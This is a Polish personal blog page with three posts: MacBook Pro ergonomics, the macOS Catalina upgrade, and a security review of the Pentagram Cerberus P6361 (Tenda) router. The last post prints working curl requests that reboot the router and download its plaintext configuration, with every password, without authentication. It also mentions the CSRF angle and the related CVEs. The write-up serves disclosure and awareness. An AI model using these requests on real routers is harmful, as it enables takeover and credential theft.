Ergonomia maca

Yzoja napisała wpis o siedmiu miesiącach z macOS, a to przypomniało mi, że miałem w planie ponarzekać na ergonomię maca. Nawet szkic notki miałem gotowy. Nie będzie jednak o systemie, a wyłącznie o hardware, w postaci MacBook Pro 13″. Na system przyjdzie jeszcze kiedyś czas. Dla przypomnienia: korzystam z niego w pracy od jakichś pięciu miesięcy, w domu Linux. Jeśli miałem się do czegoś przyzwyczaić, to już się przyzwyczaiłem, lepiej nie będzie.

MacBook Pro 13"
Źródło: https://www.engadget.com/2018/07/13/macbook-pro-2018-hands-on/

Klawiatura

Na początek standard do narzekań – klawiatura. Klawisze mają mały skok, jest twarda. Nie przeszkadza mi to specjalnie, ale wolę tradycyjne, miękkie, o większym skoku. C’mon, w lapkach i tak jest krótki skok klawiszy w porównaniu z klawiaturami desktopowymi, zwłaszcza starego typu. Dodatkowo klawiatura się psuje, podobno. U mnie póki co działa, ale poczekajmy dwa lata…

Kolejna wada klawiatury to układ, czyli zamieszanie z klawiszami – brak delete, który przeżyłem zaskakująco dobrze, osobny control, który cały czas boli, bo raz trzeba używać control, raz command, a jeśli ktoś używa VMek ze środowiskiem graficznym, to już zupełnie robi się cyrk. Brak funkcyjnych i escape o co widziałem żale – nie boli, bowiem można ustawić, by były domyślnie, cały czas na wyświetlaczu, a głośność itp. po naciśnięciu Fn. Jeśli ktoś tęskni za fizycznym escape i funkcyjnymi to polecam wypróbowanie tego ustawienia. Polecam też Karabiner do przemapowania klawiszy, bez tego pisanie polskich znaków może być bolesne. Jeszcze bardziej polecam przemapowanie klawiszy bez Karabinera. Podświetlanie jest oczywiście fajne, ale konkurencja (choćby Dell) też ma.

Wymiary

Czy komputer może być zbyt płaski? Brzmi paradoksalnie, ale tak, może. Na początku miałem spory problem z podniesieniem maca jedną ręką – nie ma za co chwycić, w związku z czym potrafił się przesunąć, zwłaszcza na bardziej śliskich powierzchniach. Detal i ostatecznie się nauczyłem poprzez zahaczenie czubkami palców o wcięcie, ale nadal – miało być fajnie, a w praktyce tak sobie. I żeby nie było – nie mam grubych palców.

Porty USB-C umieszczone są zbyt blisko siebie. Jeśli wetkniemy dwie wtyczki, nie można złapać wtyczki, trzeba ciągnąć za kabel lub podnosić laptopa i łapać od spodu. W zwykłych lapkach, ze zwykłymi USB nie miałem tego problemu. Możliwe, że związane z poprzednim akapitem albo ogólna wada USB-C – nie mam porównania dla innych maszyn z tymi portami. Niemniej problem występuje. Szczęśliwie można mieć stację dokującą i podłączać jeden kabel i wtedy wszystko gra. W wersji bardziej mobilnej z kolei pewnie będzie dostęp w pionie. Ale co szkodziło projektantom dać centymetr dodatkowej przestrzeni między portami? Nie wiem.

Ekran

Ekran. To najlepszy glare z jakim miałem do czynienia, ale… to nadal glare, a ja nie przepadam za glare. Palcuje się jak głupi i nieco robi za lusterko. Z tym ostatnim można walczyć zwiększając jasność i nawet jest opcja automatycznego dostosowania jasności w zależności od otoczenia, z której korzystam. Działa zacnie, tylko czasami lekko wariuje i co parę sekund (sic!) zmienia temperaturę barwy ekranu. Zdecydowanie ktoś nie znał pojęcia histereza. Ale to już zejście ze sprzętu na system, a to nie ten wpis.

Touchpad

Czy narzekanie na wychwalany wszędzie touchpad jest możliwe? Ano jest. Wada? Brak fizycznych przycisków. Prawy klik nie jest pewny – żeby zrobić prawy klik, trzeba zrobić mocniejsze przyciśnięcie. Żeby zrobić mocniejsze przyciśnięcie, trzeba zrobić słabsze, czyli lewy klik. To teraz wyobraźmy sobie, że mamy link, który bardzo chcemy skopiować, ale którego bardzo nie chcemy kliknąć. Zdecydowanie pewniej czuję się z podpiętą myszką. Zwykłą pecetową, zresztą. Tyle, że nie chodzę z myszą w kieszeni. Oddając sprawiedliwość, poza brakiem fizycznych przycisków to naprawdę dobry touchpad: duży, precyzyjny, wygodny. Jeśli jest sposób, który pozwala pewnie wyeliminować ryzyko lewokliku przed prawoklikiem na touchpadzie – dajcie znać proszę.

Bateria

Kolejny nietypowy zarzut – stosunkowo krótki czas pracy na baterii. Ja rozumiem, że to tylko 13″, w dodatku płaskie, ale czemu ludzie chwalą, że maci trzymają długo na baterii? W porównaniu z Dellami, z którymi miałem do czynienia, mac wypada blado. Benchmarku nie robiłem, ale przewidywany czas pracy, który widzę, to między 3 a 5 godzin na baterii, przy zwykłym użytkowaniu. Czternastocalowy Dell o porównywalnych parametrach miał bardziej 6-8h.

Zamknięcie

Ostatnia wada – zamknięcie magnetyczne i brak możliwości sensownego umieszczenia zasłony na kamerkę. Są fajne nakładane silikonowe zaślepki na kamery, które rewelacyjnie sprawdzają się na tradycyjnych laptopach, ale niestety ich używanie na macu powoduje, że zamknięcie magnetyczne działa mało pewnie. Zasłonki w postaci naklejki są inwazyjne i też mają swoją grubość, a producent sam z siebie niczego nie zaoferował. Jeśli znacie sposób na zasłonięcie kamery – poproszę.

I tyle w kwestii ergonomii maca, jeśli chodzi o hardwar, póki co. Rzeczy oczywiste typu wszystko niewymienne, nierozbieralne i pointegrowane, o których piszą wszędzie pominąłem. Dla jasności, to co opisałem to nie są wielkie wady, po prostu sprzęt daleki jest od ideału. Najbardziej w praktyce doskwiera mi układ klawiatury. Jeśli ktoś korzysta tylko z maców, może się przestawić i przestać zwracać uwagę.

Gdybym jednak miał wybór i musiał korzystać z macOS, to wolałbym chyba hackintosha z hardware 14″ Della, ze względów czysto ergonomicznych. A gdybym najkrócej jak się da mógł opisać zmiany, dzięki którym MacBook Pro byłby IMO lepszy to: ekran 14″, matowy, miękka klawiatura o większym skoku, 3-4 milimetry grubości więcej i dłuższy czas pracy na baterii.

Catalina

Na początku października została wydana nowa wersja macOS o nazwie kodowej Catalina. Zaktualizowałem wczoraj i z okazji tego, że to mój pierwszy upgrade tego systemu, postanowiłem podzielić się wrażeniami z aktualizacji. Notka z tego jak mi się żyje z macOS nadal jest w planach, w trzech słowach: szału nie ma.

Aktualizacja z opóźnieniem, powody były dwa. Po pierwsze, nie ma tam żadnej zmiany, której specjalnie potrzebuję. Z rzeczy, które mnie potencjalnie dotykają ,widzę koniec wsparcia dla aplikacji 32-bit. Także zsh jako domyślna powłoka oraz lepsze security za sprawą dodatkowych uprawnień. Po drugie, czekałem z aktualizacją do Cataliny na zielone światło od zespołu zajmującego się desktopami w firmie, który sprawdzał, czy soft potrzebny do pracy działa poprawnie. Zresztą ogólnie wśród użytkowników maków zauważyłem tendencję do tego, by po wydaniu nowej wersji chwilę poczekać, na ujawnienie ew. błędów i ich poprawki.

Przyznaję, że sama aktualizacja jest zrobiona sprawnie, przebiega czytelnie i dość szybko. Dodatkowo przez większość czasu można normalnie pracować na systemie. Na szybkim łączu i dysku SSD pobranie 8 GB i instalacja zajęły nieco ponad godzinę, co uznaję za dobry wynik. Podobny czas zajmuje zaktualizowanie desktopu z Debianem. Pobranie, rozpakowanie, reboot, dłuższe uruchamianie i… jest. I działa.

Za to po instalacji trochę dzieją się cuda. Po części cuda te wynikają ze zmiany w security – trzeba pozwalać konkretnym programom na konkretne akcje. Ale po części są to zwykłe niedociągnięcia. Przykładowo jedna z pierwszych rzeczy, które mnie spotkały to:

git diff
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun

Rozumiem, że rozwiązanie jest proste i łatwe do znalezienia. Jednak szukanie po forach rozwiązania problemu dla czegoś, co powinno się zaktualizować wraz z systemem? Przecież pochodzi od tego samego wydawcy i można było przewidzieć, że wymaga aktualizacji, skoro jest zainstalowane? Słabe.

Zapowiadanej zmiany powłoki na zsh jeszcze nie doświadczyłem – okazało się, że dla istniejących kont zostaje bash. Można wymusić zmianę ręcznie, co pewnie za jakiś czas zrobię.

W ogóle model zarządzania aktualizacjami aplikacji (nie mylić z systemem) pod macOS jest fatalny, zbliżony do Windowsowego. Czyli każda aplikacja żyje własnym życiem. Centralny manager pakietów, instalacja z użyciem repozytoriów i aktualizacje w jednym miejscu, znane z Linuksa są dużo łatwiejsze i wygodniejsze.

UPDATE Pochwaliłem za wcześnie. Dziś dostałem info, że dostępna jest aktualizacja do 10.15.1. Zacytuję opis z forum:

macOS Catalina 10.15.1 is a fairly significant update, introducing new emoji characters that were added in iOS 13.2 earlier this week, adding support for the AirPods Pro that are launching tomorrow, and bringing Siri privacy controls to the Mac to allow users to opt out of sharing their Siri recordings with Apple.

Jeśli ktoś przypuszcza, że jest mi to wszystko totalnie obojętne, to ma rację. Aktualizacja emoji zajęła pół godziny. I tym razem uważam, że to trochę sporo, skoro chodzi o takie drobiazgi.

UPDATE Minęło trochę czasu i wyrobiłem sobie ogólnie opinię o aktualizacjach macOS.

Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, a tytułowy Pentagram Cerberus P6361 to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest. Znaczy miał 802.11n, możliwość włączenia WPA2 i wyłączenia WPS. Więc został. Pełnił tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie. Z racji tego, że był w sieci lokalnej, to logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie. Przy okazji stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie ww. polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają. Po prostu wysyłamy request, a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość pobrania backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje oprogramowania. Chciałem zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne. Pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam. Pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Najlepiej tego typu podatny router wymienić, co przy najbliższej okazji uczynię, mimo że jest używany sporadycznie. Za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta. Sam exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

UPDATE: Podatność dotyczy całej rodziny routerów Tenda (W316R, N300) i podobnych tanich routerów SOHO: CVE-2020-35391, CVE-2017-14942.

UPDATE: Napisałem _bez żadnego uwierzytelniania_, co było półprawdą. Konieczny jest ustawienie Cookie z odpowiednią, stałą zawartością, co w praktyce na jedno wychodzi.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…